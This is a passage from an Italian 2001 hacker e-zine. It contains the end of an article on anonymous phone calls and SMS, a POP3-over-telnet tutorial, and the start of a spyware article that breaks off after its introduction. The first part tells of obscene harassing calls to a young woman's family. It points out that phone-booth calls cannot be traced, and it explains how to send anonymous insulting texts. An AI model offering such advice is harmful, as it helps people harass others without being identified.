| che lui le abbia tirato il portafoglio urlando:"Le troie le va pagade.. To' |
| stronza !! E adesso deme la bira che devo purificarme !!" |
| Vabbè, come dicevo sorvoliamo. |
| Alla fine della festa vanno tutti a casa, io vado a dormire dai miei zii (i |
| miei non c'erano e dovevo stare a dormire da loro). Dall'ubriaco che ero mi |
| butto vestito sul letto, non spengo nemmeno il cellulare e mi addormento. |
| Questi miei amici intanto vanno a una cabina telefonica e cominciano |
| (all'una di notte !!!!) a chiamare a casa di Ch. |
| Uno le grida dentro "troia", l'altro "dona del comun", un altro (dato che |
| aveva risposto il padre) urla "To fiola l'è 'na pompinara !!". |
| Intanto C. continua a scrivermi SMS sul cellulare chiedendo chi era che |
| chiamava e se lo sapevo dovevo dirgli di smetterla, altrimenti suo padre.. |
| Purtroppo io non ero in condizione nè di sentire il cellulare che squillava, |
| nè di rispondere agli SMS. |
| Il giorno dopo effettivamente il padre di Ch. ci cercava (con la spranga |
| !!!!!!) per "chiarire le idee" a chi era stato a fare lo scherzo. Gli scemi |
| confessano tutto e tentano di farsi scusare. Il padre (che è un bel |
| bestione, avverto tutti !!) per fortuna li scusa.. |
| |
| Ma perchè vi ho raccontanto tutta 'sta storia ? Per farvi un esempio di come |
| farla pagare a chi vi fà le corna ? No, per un altro motivo. |
| Questi miei amici sono stati scemi perchè TUTTE LE CHIAMATE EFFETTUATE DA |
| UNA CABINA TELEFONICA RISULTANO ANONIME, pertanto nessuno poteva risalire a |
| loro.. Almeno con i mezzi tradizionali. |
| Potevano tranquillamente dire che non erano stati loro e nessuno poteva dire |
| niente !!! |
| Avete capito quindi ? Se chiamate da una cabina telefonica chi riceve la |
| telefonata si troverà davanti a un numero ANONIMO !!! |
| |
| /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ |
| 4.- SMS |
| \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ |
| |
| Allora.. Gli SMS anonimi potete mandarli così: o via internet con uno dei |
| tanti siti che offrono questo servizio (occhio che questi siti stanno |
| diminuendo !!) oppure grazie a zed.it... |
| |
| Non sapete cos'è zed.it ?? In pratica è un servizio che vi permette di |
| mandare SMS anonimi pagando 250 L. + Iva per ogni messaggio (300 L. a |
| messaggio.. Non è proprio gratis ma..), cioè 100 L. in più del normale.. |
| |
| Come funziona ? Potrei rimandarvi a Zed.it, invece ve lo spiego. Il |
| messaggio tipo è questo: |
| "ANON numerodestinatario messaggio", poi cliccate "Invia" o quello che |
| preferite e inoltrate il messaggio al 44933.. Il messaggio arriverà in forma |
| anonima al destinatario. |
| |
| Esempio pratico: voglio scrivere a 333 3344555 che è una testa di cazzo.. |
| Ecco cosa scrivo sul cell: |
| "ANON 3333344555 sei una testa di cazzo" (senza virgolette ovviamente) e lo |
| spedisco al 44933.. Al 333 3344555 arriverà un msg anonimo con scritto "sei |
| una testa di cazzo" |
| |
+-------------------------------------------------------------------------------+


+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #04 - 19/11/2001 |
| P0P3 [mR_bIs0n] 0x12/0x23 |
+-------------------------------------------------------------------------------+
| |
| Titolo: Leggere le mail da telnet, ovveri i comandi POP3 spiegati e |
| commentati |
| Autore: mR_bIs0n |
| Musica ascoltata: Alien Ant Farm - Smooth Criminal |
| Dickies - Killer Klown From Outer Space |
| Ramones e NoFx varii |
| Consumo: ora vedo che c'è da mangiare... NULLA! |
| Saluti a: tutti li amici di chat (troppi), li amici di classe, a tutti |
| li punk del mondo, a Francesca |
| Fucks to: Preside Prof. Basile Vittorio, un grande pezzo di merda |
| |
| Possiamo inizià |
| |
| Bellaaa ragazzi oggi sto a casa ammalato e vi spiego come fare a leggere le |
| mail da remoto, tramite il telnet e i comandi POP3. |
| Innanzitutto spieghiamo cos'è il POP3 (Post Office Protocol): sarebbe il |
| protocollo che consente agli utenti di accedere alle caselle di posta e di |
| recuperare le e-mails. |
| |
| Di solito la porta utilizzata dal server POP3 è la 110. Quando ci |
| colleghiamo col telnet al |
| server e alla porta 110 stabiliamo una connessione con esso e il server ci |
| saluta pure! |
| |
| telnet popmail.libero.it:110 |
| |
| +OK POP3 PROXY server ready (6.0.012)<5ED43B2F3D030765F52C08DBE6E1D769E |
| B63336A@pop2.libero.it> |
| |
| Ricordiamoci che i comandi solitamente sono seguiti da parametri da noi |
| scelti. |
| Esistono due indicatori di stato: +OK (positivo) e -ERR (negativo). |
| |
| Una volta collegati, dopo che il server si è presentato, si entra nella |
| sezionedetta 'AUTHORIZATION'. In questo momento il server si deve |
| identificare l'utenza. Solo una volta che il server ha riconosciuto |
| l'utente, possiamo passare nella sezione detta 'TRANSACTION'. In questa |
| sezione si può interagire e fare le proprie scelte. Dopodicchè, quando ci |
| disconnettiamo dal server, quest'ultimo entra nella sezione detta 'UPDATE', |
| e cioè aggiorna i nostri cambiamenti e infine ci saluta. |
| |
| Mi sa' che il server aspetta 10 minuti prima di disconnettere se ancora non |
| vi siete identificati. |
| |
| Ma passiamo alla pratica. Esistono due metodi di identificazione, il |
| classico e quello tipo 'APOP'. Vi spiego solo il primo (più semplice). |
| |
| telnet popmail.libero.it:110 |
| |
| +OK POP3 PROXY server ready (6.0.012)<5ED43B2F3D030765F52C08DBE6E1D769E |
| B63336A@pop2.libero.it> |
| |
| ...siamo connessi... |
| ora inseriamo il nostro user e la nostra pass: |
| |
| user sono_gay@libero.it |
| +OK Password required |
| pass menevanto |
| +OK 88 messages |
| (l'esempio non è autobiografico!) |
| |
| in questo caso tutto è andato bene, ci ha accettati e ci ha detto quanti |
| messaggi contiene la mailbox, 88 appunto. |
| |
| Se qualcosa va storto... |
| |
| -ERR invalid user or password |
| |
| ritentate, scrivete con calma senza fare errori o correzioni! |
| |
| Abbiamo passato lo stato di AUTHORIZATION e ora ci troviamo in TRANSACTION. |
| Bene ora passiamo ai comandi: |
| |
| stat |
| +OK 88 878599 |
| |
| Col comando STAT ci facciamo dire quanti messaggi di posta ci sono e quant'è |
| la grandezza di tutti essi. |
| |
| list |
| +OK |
| 1 1647467 |
| 2 2458881 |
| 3 3256 |
| ... |
| 88 354235 |
| |
| con questo comando possiamo vedere la lista dei messaggi contenuti nella |
| mail box e tutti corrispondono ad un numero. |
| |
| list 4 |
| +OK |
| 4 534553 |
| |
| così vediamo solo una mail. |
| |
| retr 3 |
| +OK 3256 bytes |
| Return-Path: <mortacci@tua.it> |
| Received: from smtp4.libero.it (193.70.192.54) by ims1b.libero.it (5.5.042) |
| id 3BA9972B0071D04C; Tue, 16 Oct 2001 04:09:33 +0200 |
| Received: from lists.technorail.com (62.149.128.39) by smtp4.libero.it |
| (6.0.021) |
| id 3BC59D68005AC99F; Tue, 16 Oct 2001 04:09:27 +0200 |
| Received: (from majordomo@localhost) |
| by lists.technorail.com (8.11.6/8.8.7) id f9FM0xR11976 |
| for aruba-info-list; Tue, 16 Oct 2001 00:00:59 +0200 |
| |
| [...] (tante altre coseeeee) |
| |
| possiamo leggere il contenuto delle mail, sconsiglio di usarlo, al massimo |
| settate il buffer del |
| vostro client telnet molto alto, in modo da poterle leggere. |
| |
| dele 34 |
| +OK message marked for deletion |
| |
| in questo modo marchiamo la mail che deve essere cancellata, dopo il quit, |
| verrà eliminata. |
| |
| noop |
| +OK |
| |
| ignoro l'utilizzo di questo comando, mi sono documentato e non dice nulla. |
| Forse potrebbe servire a controllare se il server, magari tra una operazione |
| e un'altra, è ancora attivo. |
| |
| rset |
| +OK |
| |
| se abbiamo marcato dei messaggi per essere eliminati, facendo questo |
| comando, annulliamo ogni marcatura. |
| |
| quit |
| +OK POP3 server closing connection |
| |
| quittando il server esegue tutti gli ordini impostati prima. |
| |
| top 3 10 |
| +OK 3256 bytes |
| Return-Path: <mortacci@tua.it> |
| Received: from smtp4.libero.it (193.70.192.54) by ims1b.libero.it (5.5.042) |
| id 3BA9972B0071D04C; Tue, 16 Oct 2001 04:09:33 +0200 |
| Received: from lists.technorail.com (62.149.128.39) by smtp4.libero.it |
| (6.0.021) |
| id 3BC59D68005AC99F; Tue, 16 Oct 2001 04:09:27 +0200 |
| Received: (from majordomo@localhost) |
| by lists.technorail.com (8.11.6/8.8.7) id f9FM0xR11976 |
| for aruba-info-list; Tue, 16 Oct 2001 00:00:59 +0200 |
| |
| [...] (solito header completo) |
| |
| (+ le prime 10 righe del messaggio) |
| |
| molto utile, in questo modo leggiamo le prime righe dei messaggi, così da |
| capire se magari possiamo cancellarle o meno. |
| |
| Esiste anche il comando UIDL, ma è anche difficile, quindi lasciamo perdere |
| anche questo (a dirla tutta, nemmeno io l'ho capito bene bene...). |
| |
| Ricapitolando: |
| |
| Comandi validi nello stato AUTHORIZATION |
| USER username |
| PASS password |
| QUIT |
| |
| Comandi validi nello stato TRANSACTION |
| STAT |
| LIST [numero del messaggio] |
| TOP [numero del messaggio] [fino alla riga] |
| RETR [numero del messaggio] |
| DELE [numero del messaggio] |
| NOOP |
| RSET |
| QUIT |
| |
| Oki, per ora è tutto, forse ci saranno altri miei arts, ci si bekka! |
| mR_bIs0n |
| |
| |
+-------------------------------------------------------------------------------+


+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #04 - 19/11/2001 |
| SPYWARE AT ALL [MightyInquisitor] 0x13/0x23 |
+-------------------------------------------------------------------------------+
| |
| Titolo: SPYWARE AT ALL |
| Autore: MightyInquisitor |
| Home-page: www.mightyinquisitor.cjb.net |
| E-mail: mightyinquisitor@mightyinquisitor.cjb.net |
| Irc: irc.azzurranet.org - canali: #hackmaniaci |
| |
| |
| DiSCLAiMER_LEGALi |
| QUEST0 TEST0 DEVE iNTENDERSi A LiVELL0 iNF0RMATiV0, PERCi0' L'AUTORE, |
| MightyInquisitor, |
| DECLiNA 0GNi RESP0NSABiLiTA' DALL'US0 CHE POTREBBE ESSERNE FATT0. L'AUTORE, |
| DUNQUE, NON iNC0RAGGiA CHi VOLESSE SERViRSENE PER SC0Pi iLLEGALi. |
| |
| |
| cat Index.txt |
| ----------------------------------- |
| /Index.txt |
| /Intro.txt |
| /Cos_e'_uno_spyware.txt |
| /Come_agisce_advert.dll.txt |
| /Le_forme_del_file_spia.txt |
| /La_forma_tecnica_del_file_spia.txt |
| /Come_rimuovere_i_file_spia.txt |
| /Bugs_degli_spyware.txt |
| /Saluti.txt |
| ----------------------------------- |
| |
| |
| cat Intro.txt |
| ----------------------------------------------------------------------------- |
| Eccomi qua a scrivere un nuovo articolo dopo una lunga e bellissima vacanza |
| all'estero |
| durata oltre un mese e mezzo! Vi sono mancato? Beh, spero di si, ma come |
| vedete non mi |
| dimentico di certo dei miei lettori e si vede... ;-) |
| Allora, in questo testo vi parlerò di spyware, tranquilli, se non sapete |
| cosa sono lo |
| scoprirete inoltrandovi nella lettura, io non do, quasi, mai nulla per |
| scontato. |
| ----------------------------------------------------------------------------- |
|

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT